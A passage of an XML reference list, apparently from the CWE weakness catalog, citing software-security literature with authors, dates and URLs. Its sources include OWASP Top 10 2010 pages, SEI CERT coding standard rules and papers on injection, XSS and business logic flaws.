			<Author>Jason Lam</Author>
			<Title>Top 25 Series - Rank 12 - Buffer Access with Incorrect Length Value</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://web.archive.org/web/20100316043717/http://blogs.sans.org:80/appsecstreetfighter/2010/03/11/top-25-series-rank-12-buffer-access-with-incorrect-length-value/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-754">
			<Author>Frank Kim</Author>
			<Title>Top 25 Series - Rank 6 - Reliance on Untrusted Inputs in a Security Decision</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://www.sans.org/blog/top-25-series-rank-6-reliance-on-untrusted-inputs-in-a-security-decision/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-756">
			<Author>Scott Mitchell</Author>
			<Title>Understanding ASP.NET View State</Title>
			<Publication_Year>2004</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<Publisher>Microsoft</Publisher>
			<URL>https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/ms972976(v=msdn.10)?redirectedfrom=MSDN</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-759">
			<Title>Top 10 2010</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---19</Publication_Day>
			<Publisher>OWASP</Publisher>
			<URL>https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project#tab=OWASP_Top_10_for_2010</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-761">
			<Author>OWASP</Author>
			<Title>Top 10 2010-A1-Injection</Title>
			<URL>http://www.owasp.org/index.php/Top_10_2010-A1-Injection</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-762">
			<Author>OWASP</Author>
			<Title>Top 10 2010-A2-Cross-Site Scripting (XSS)</Title>
			<URL>http://www.owasp.org/index.php/Top_10_2010-A2-Cross-Site_Scripting_%28XSS%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-763">
			<Author>OWASP</Author>
			<Title>Top 10 2010-A3-Broken Authentication and Session Management</Title>
			<URL>http://www.owasp.org/index.php/Top_10_2010-A3-Broken_Authentication_and_Session_Management</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-764">
			<Author>OWASP</Author>
			<Title>Top 10 2010-A4-Insecure Direct Object References</Title>
			<URL>http://www.owasp.org/index.php/Top_10_2010-A4-Insecure_Direct_Object_References</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-765">
			<Author>OWASP</Author>
			<Title>Top 10 2010-A5-Cross-Site Request Forgery (CSRF)</Title>
			<URL>http://www.owasp.org/index.php/Top_10_2010-A5-Cross-Site_Request_Forgery_%28CSRF%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-766">
			<Author>OWASP</Author>
			<Title>Top 10 2010-A6-Security Misconfiguration</Title>
			<URL>http://www.owasp.org/index.php/Top_10_2010-A6-Security_Misconfiguration</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-767">
			<Author>OWASP</Author>
			<Title>Top 10 2010-A7-Insecure Cryptographic Storage</Title>
			<URL>http://www.owasp.org/index.php/Top_10_2010-A7-Insecure_Cryptographic_Storage</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-768">
			<Author>OWASP</Author>
			<Title>Top 10 2010-A8-Failure to Restrict URL Access</Title>
			<URL>http://www.owasp.org/index.php/Top_10_2010-A8-Failure_to_Restrict_URL_Access</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-769">
			<Author>OWASP</Author>
			<Title>Top 10 2010-A9-Insufficient Transport Layer Protection</Title>
			<URL>http://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-770">
			<Author>OWASP</Author>
			<Title>Top 10 2010-A10-Unvalidated Redirects and Forwards</Title>
			<URL>http://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-773">
			<Author>Daniel Kulp</Author>
			<Title>Apache CXF Security Advisory (CVE-2010-2076)</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---16</Publication_Day>
			<URL>http://svn.apache.org/repos/asf/cxf/trunk/security/CVE-2010-2076.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-778">
			<Author>Jeremiah Grossman</Author>
			<Title>Third-Party Web Widget Security FAQ</Title>
			<URL>https://blog.jeremiahgrossman.com/2010/07/third-party-web-widget-security-faq.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-783">
			<Author>Robert C. Seacord</Author>
			<Title>Secure Coding in C and C++</Title>
			<Publication_Year>2006</Publication_Year>
			<Publisher>Addison Wesley</Publisher>
		</External_Reference>
		<External_Reference Reference_ID="REF-786">
			<Author>Jim Manico</Author>
			<Title>Injection-safe templating languages</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---30</Publication_Day>
			<URL>https://manicode.blogspot.com/2010/06/injection-safe-templating-languages_30.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-787">
			<Author>Dinis Cruz</Author>
			<Title>Can we please stop saying that XSS is boring and easy to fix!</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---25</Publication_Day>
			<URL>http://diniscruz.blogspot.com/2010/09/can-we-please-stop-saying-that-xss-is.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-788">
			<Author>Ivan Ristic</Author>
			<Title>Canoe: XSS prevention via context-aware output encoding</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---24</Publication_Day>
			<URL>https://blog.ivanristic.com/2010/09/introducing-canoe-context-aware-output-encoding-for-xss-prevention.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-789">
			<Author>Jim Manico</Author>
			<Title>What is the Future of Automated XSS Defense Tools?</Title>
			<Publication_Year>2011</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---08</Publication_Day>
			<URL>http://software-security.sans.org/downloads/appsec-2011-files/manico-appsec-future-tools.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-795">
			<Author>Jeremiah Grossman</Author>
			<Title>Business Logic Flaws and Yahoo Games</Title>
			<Publication_Year>2006</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---08</Publication_Day>
			<URL>https://blog.jeremiahgrossman.com/2006/12/business-logic-flaws.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-796">
			<Author>Jeremiah Grossman</Author>
			<Title>Seven Business Logic Flaws That Put Your Website At Risk</Title>
			<Publication_Year>2007</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<URL>https://docplayer.net/10021793-Seven-business-logic-flaws-that-put-your-website-at-risk.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-797">
			<Author>WhiteHat Security</Author>
			<Title>Business Logic Flaws</Title>
			<URL>https://web.archive.org/web/20080720171327/http://www.whitehatsec.com/home/solutions/BL_auction.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-798">
			<Author>WASC</Author>
			<Title>Abuse of Functionality</Title>
			<URL>http://projects.webappsec.org/w/page/13246913/Abuse-of-Functionality</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-799">
			<Author>Rafal Los</Author>
			<Author>Prajakta Jagdale</Author>
			<Title>Defying Logic: Theory, Design, and Implementation of Complex Systems for Testing Application Logic</Title>
			<Publication_Year>2011</Publication_Year>
			<URL>https://www.slideshare.net/RafalLos/defying-logic-business-logic-testing-with-automation</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-801">
			<Author>Viktoria Felmetsger</Author>
			<Author>Ludovico Cavedon</Author>
			<Author>Christopher Kruegel</Author>
			<Author>Giovanni Vigna</Author>
			<Title>Toward Automated Detection of Logic Vulnerabilities in Web Applications</Title>
			<Publication>USENIX Security Symposium 2010</Publication>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<URL>https://www.usenix.org/legacy/events/sec10/tech/full_papers/Felmetsger.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-802">
			<Author>Faisal Nabi</Author>
			<Title>Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems</Title>
			<Publication>International Journal of Network Security, Vol.12, No.1</Publication>
			<Publication_Year>2011</Publication_Year>
			<URL>http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-n1-p29-41.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-806">
			<Author>WASC</Author>
			<Title>Insufficient Process Validation</Title>
			<URL>http://projects.webappsec.org/w/page/13246943/Insufficient-Process-Validation</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-811">
			<Author>Mark Dowd</Author>
			<Author>Ryan Smith</Author>
			<Author>David Dewey</Author>
			<Title>Attacking Interoperability</Title>
			<Publication_Year>2009</Publication_Year>
			<URL>http://hustlelabs.com/stuff/bh2009_dowd_smith_dewey.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-813">
			<Author>Fred Long</Author>
			<Author>Dhruv Mohindra</Author>
			<Author>Robert C. Seacord</Author>
			<Author>Dean F. Sutherland</Author>
			<Author>David Svoboda</Author>
			<Title>The CERT Oracle Coding Standard for Java</Title>
			<Edition>1st Edition</Edition>
			<Publication_Year>2011</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---18</Publication_Day>
			<Publisher>Addison-Wesley Professional</Publisher>
		</External_Reference>
		<External_Reference Reference_ID="REF-814">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 00. Input Validation and Data Sanitization (IDS)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487865</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-815">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 01. Declarations and Initialization (DCL)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487858</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-816">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 02. Expressions (EXP)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487704</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-817">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 03. Numeric Types and Operations (NUM)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487628</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-818">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 05. Object Orientation (OBJ)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487715</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-819">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 06. Methods (MET)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487441</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-820">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 07. Exceptional Behavior (ERR)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487665</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-821">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 08. Visibility and Atomicity (VNA)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487824</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-822">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 09. Locking (LCK)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487666</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-823">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 10. Thread APIs (THI)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487735</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-824">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 11. Thread Pools (TPS)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487728</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-825">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 12. Thread-Safety Miscellaneous (TSM)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487731</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-826">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 13. Input Output (FIO)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487725</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-827">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 14. Serialization (SER)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487787</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-828">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 15. Platform Security (SEC)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487683</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-829">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 16. Runtime Environment (ENV)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487764</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-830">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT Oracle Coding Standard for Java : Rule 49. Miscellaneous (MSC)</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487686</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-843">
			<Title>2011 CWE/SANS Top 25 Most Dangerous Software Errors</Title>
			<Publication_Year>2011</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---27</Publication_Day>
			<URL>http://cwe.mitre.org/top25/archive/2011/2011_cwe_sans_top25.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-847">
			<Author>The Software Engineering Institute</Author>
			<Title>SEI CERT C++ Coding Standard</Title>
			<URL>https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88046682</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-848">
			<Author>The Software Engineering Institute</Author>
			<Title>01. Preprocessor (PRE)</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/cplusplus/01.+Preprocessor+%28PRE%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-849">
			<Author>CERT</Author>
			<Title>02. Declarations and Initialization (DCL)</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/cplusplus/02.+Declarations+and+Initialization+%28DCL%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-850">
			<Author>CERT</Author>
			<Title>03. Expressions (EXP)</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/cplusplus/03.+Expressions+%28EXP%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-851">
			<Author>CERT</Author>
			<Title>04. Integers (INT)</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/cplusplus/04.+Integers+%28INT%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-852">
			<Author>CERT</Author>
			<Title>05. Floating Point Arithmetic (FLP)</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/cplusplus/05.+Floating+Point+Arithmetic+%28FLP%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-853">
			<Author>CERT</Author>
			<Title>06. Arrays and the STL (ARR)</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/cplusplus/06.+Arrays+and+the+STL+%28ARR%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-854">
			<Author>CERT</Author>
			<Title>07. Characters and Strings (STR)</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/cplusplus/07.+Characters+and+Strings+%28STR%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-855">
			<Author>CERT</Author>
			<Title>08. Memory Management (MEM)</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/cplusplus/08.+Memory+Management+%28MEM%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-856">
			<Author>CERT</Author>
			<Title>09. Input Output (FIO)</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/cplusplus/09.+Input+Output+%28FIO%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-857">
			<Author>CERT</Author>
			<Title>10. Environment (ENV)</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/cplusplus/10.+Environment+%28ENV%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-858">
			<Author>CERT</Author>
			<Title>11. Signals (SIG)</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/cplusplus/11.+Signals+%28SIG%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-859">
			<Author>Steven Christey</Author>
			<Title>Argument injection issues</Title>
			<URL>https://seclists.org/bugtraq/2007/Feb/234ed</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-861">
			<Author>CERT</Author>
			<Title>12. Exceptions and Error Handling (ERR)</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/cplusplus/12.+Exceptions+and+Error+Handling+%28ERR%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-862">
			<Author>CERT</Author>
			<Title>13. Object Oriented Programming (OOP)</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/cplusplus/13.+Object+Oriented+Programming+%28OOP%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-863">
			<Author>CERT</Author>
			<Title>14. Concurrency (CON)</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/cplusplus/14.+Concurrency+%28CON%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-864">
			<Author>CERT</Author>
			<Title>49. Miscellaneous (MSC)</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/cplusplus/49.+Miscellaneous+%28MSC%29</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-867">
			<Author>OWASP</Author>
			<Title>SQL Injection Prevention Cheat Sheet</Title>
			<URL>http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-868">
			<Author>Steven Friedl</Author>
			<Title>SQL Injection Attacks by Example</Title>
			<Publication_Year>2007</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---10</Publication_Day>
			<URL>http://www.unixwiz.net/techtips/sql-injection.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-869">
			<Author>Ferruh Mavituna</Author>
			<Title>SQL Injection Cheat Sheet</Title>
			<Publication_Year>2007</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<URL>https://web.archive.org/web/20080126180244/http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-870">
			<Author>David Litchfield</Author>
			<Author>Chris Anley</Author>
			<Author>John Heasman</Author>
			<Author>Bill Grindlay</Author>
			<Title>The Database Hacker's Handbook: Defending Database Servers</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---14</Publication_Day>
			<Publisher>Wiley</Publisher>
		</External_Reference>
		<External_Reference Reference_ID="REF-871">
			<Author>David Litchfield</Author>
			<Title>The Oracle Hacker's Handbook: Hacking and Defending Oracle</Title>
			<Publication_Year>2007</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---30</Publication_Day>
			<Publisher>Wiley</Publisher>
		</External_Reference>
		<External_Reference Reference_ID="REF-872">
			<Author>Microsoft</Author>
			<Title>SQL Injection</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<URL>https://learn.microsoft.com/en-us/previous-versions/sql/sql-server-2008-r2/ms161953(v=sql.105)?redirectedfrom=MSDN</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-873">
			<Author>Microsoft Security Vulnerability Research &amp; Defense</Author>
			<Title>SQL Injection Attack</Title>
			<URL>https://msrc.microsoft.com/blog/2008/05/sql-injection-attack/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-874">
			<Author>Michael Howard</Author>
			<Title>Giving SQL Injection the Respect it Deserves</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<URL>https://learn.microsoft.com/en-us/archive/blogs/michael_howard/giving-sql-injection-the-respect-it-deserves</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-875">
			<Author>Frank Kim</Author>
			<Title>Top 25 Series - Rank 2 - SQL Injection</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---01</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://www.sans.org/blog/top-25-series-rank-2-sql-injection/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-879">
			<Author>SPI Dynamics</Author>
			<Title>Web Applications and LDAP Injection</Title>
		</External_Reference>
		<External_Reference Reference_ID="REF-882">
			<Author>Amit Klein</Author>
			<Title>Blind XPath Injection</Title>
			<Publication_Year>2004</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---19</Publication_Day>
			<URL>https://dl.packetstormsecurity.net/papers/bypass/Blind_XPath_Injection_20040518.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-884">
			<Author>Mateusz "j00ru" Jurczyk</Author>
			<Title>Windows Kernel Reference Count Vulnerabilities - Case Study</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<URL>https://j00ru.vexillium.org/slides/2012/zeronights.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-885">
			<Author>Stefan Esser</Author>
			<Title>Shocking News in PHP Exploitation</Title>
			<Publication_Year>2009</Publication_Year>
			<URL>https://owasp.org/www-pdf-archive/POC2009-ShockingNewsInPHPExploitation.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-886">
			<Author>Dinis Cruz</Author>
			<Title>"Two Security Vulnerabilities in the Spring Framework's MVC" pdf (from 2008)</Title>
			<URL>http://diniscruz.blogspot.com/2011/07/two-security-vulnerabilities-in-spring.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-887">
			<Author>Ryan Berg</Author>
			<Author>Dinis Cruz</Author>
			<Title>Two Security Vulnerabilities in the Spring Framework's MVC</Title>
			<URL>https://o2platform.files.wordpress.com/2011/07/ounce_springframework_vulnerabilities.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-888">
			<Author>ASPNETUE</Author>
			<Title>Best Practices for ASP.NET MVC</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---17</Publication_Day>
			<URL>https://web.archive.org/web/20100921074010/http://blogs.msdn.com/b/aspnetue/archive/2010/09/17/second_2d00_post.aspx</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-889">
			<Author>Michael Hartl</Author>
			<Title>Mass assignment in Rails applications</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---21</Publication_Day>
			<URL>https://web.archive.org/web/20090808163156/http://blog.mhartl.com/2008/09/21/mass-assignment-in-rails-applications/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-890">
			<Author>Tobi</Author>
			<Title>Secure your Rails apps!</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---06</Publication_Day>
			<URL>https://pragtob.wordpress.com/2012/03/06/secure-your-rails-apps/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-891">
			<Author>Heiko Webers</Author>
			<Title>Ruby On Rails Security Guide</Title>
			<URL>https://guides.rubyonrails.org/security.html#mass-assignment</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-892">
			<Author>Josh Bush</Author>
			<Title>Mass Assignment Vulnerability in ASP.NET MVC</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<URL>https://web.archive.org/web/20120309022539/http://freshbrewedcode.com/joshbush/2012/03/05/mass-assignment-aspnet-mvc</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-893">
			<Author>K. Scott Allen</Author>
			<Title>6 Ways To Avoid Mass Assignment in ASP.NET MVC</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---12</Publication_Day>
			<URL>https://odetocode.com/blogs/scott/archive/2012/03/11/complete-guide-to-mass-assignment-in-asp-net-mvc.aspx</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-894">
			<Author>Egidio Romano</Author>
			<Title>PHP Object Injection</Title>
			<Publication_Year>2013</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---22</Publication_Day>
			<URL>https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-908">
			<Author>Solar Designer</Author>
			<Title>Password hashing at scale</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---01</Publication_Day>
			<URL>https://www.openwall.com/presentations/YaC2012-Password-Hashing-At-Scale/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-909">
			<Author>Solar Designer</Author>
			<Title>New developments in password hashing: ROM-port-hard functions</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<URL>https://www.openwall.com/presentations/ZeroNights2012-New-In-Password-Hashing/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-911">
			<Author>Stefano Di Paola</Author>
			<Author>Arshan Dabirsiaghi</Author>
			<Title>Expression Language Injection</Title>
			<Publication_Year>2011</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---12</Publication_Day>
			<URL>https://mindedsecurity.com/wp-content/uploads/2020/10/ExpressionLanguageInjection.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-912">
			<Author>Dan Amodio</Author>
			<Title>Remote Code with Expression Language Injection</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---14</Publication_Day>
			<URL>http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-913">
			<Author>Alexander Polyakov</Author>
			<Author>Dmitry Chastukhin</Author>
			<Title>SSRF vs. Business-critical applications: XXE tunneling in SAP</Title>
			<Publication_Year>2012</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---26</Publication_Day>
			<URL>https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-914">
			<Author>Alexander Polyakov</Author>
			<Author>Dmitry Chastukhin</Author>
			<Author>Alexey Tyurin</Author>
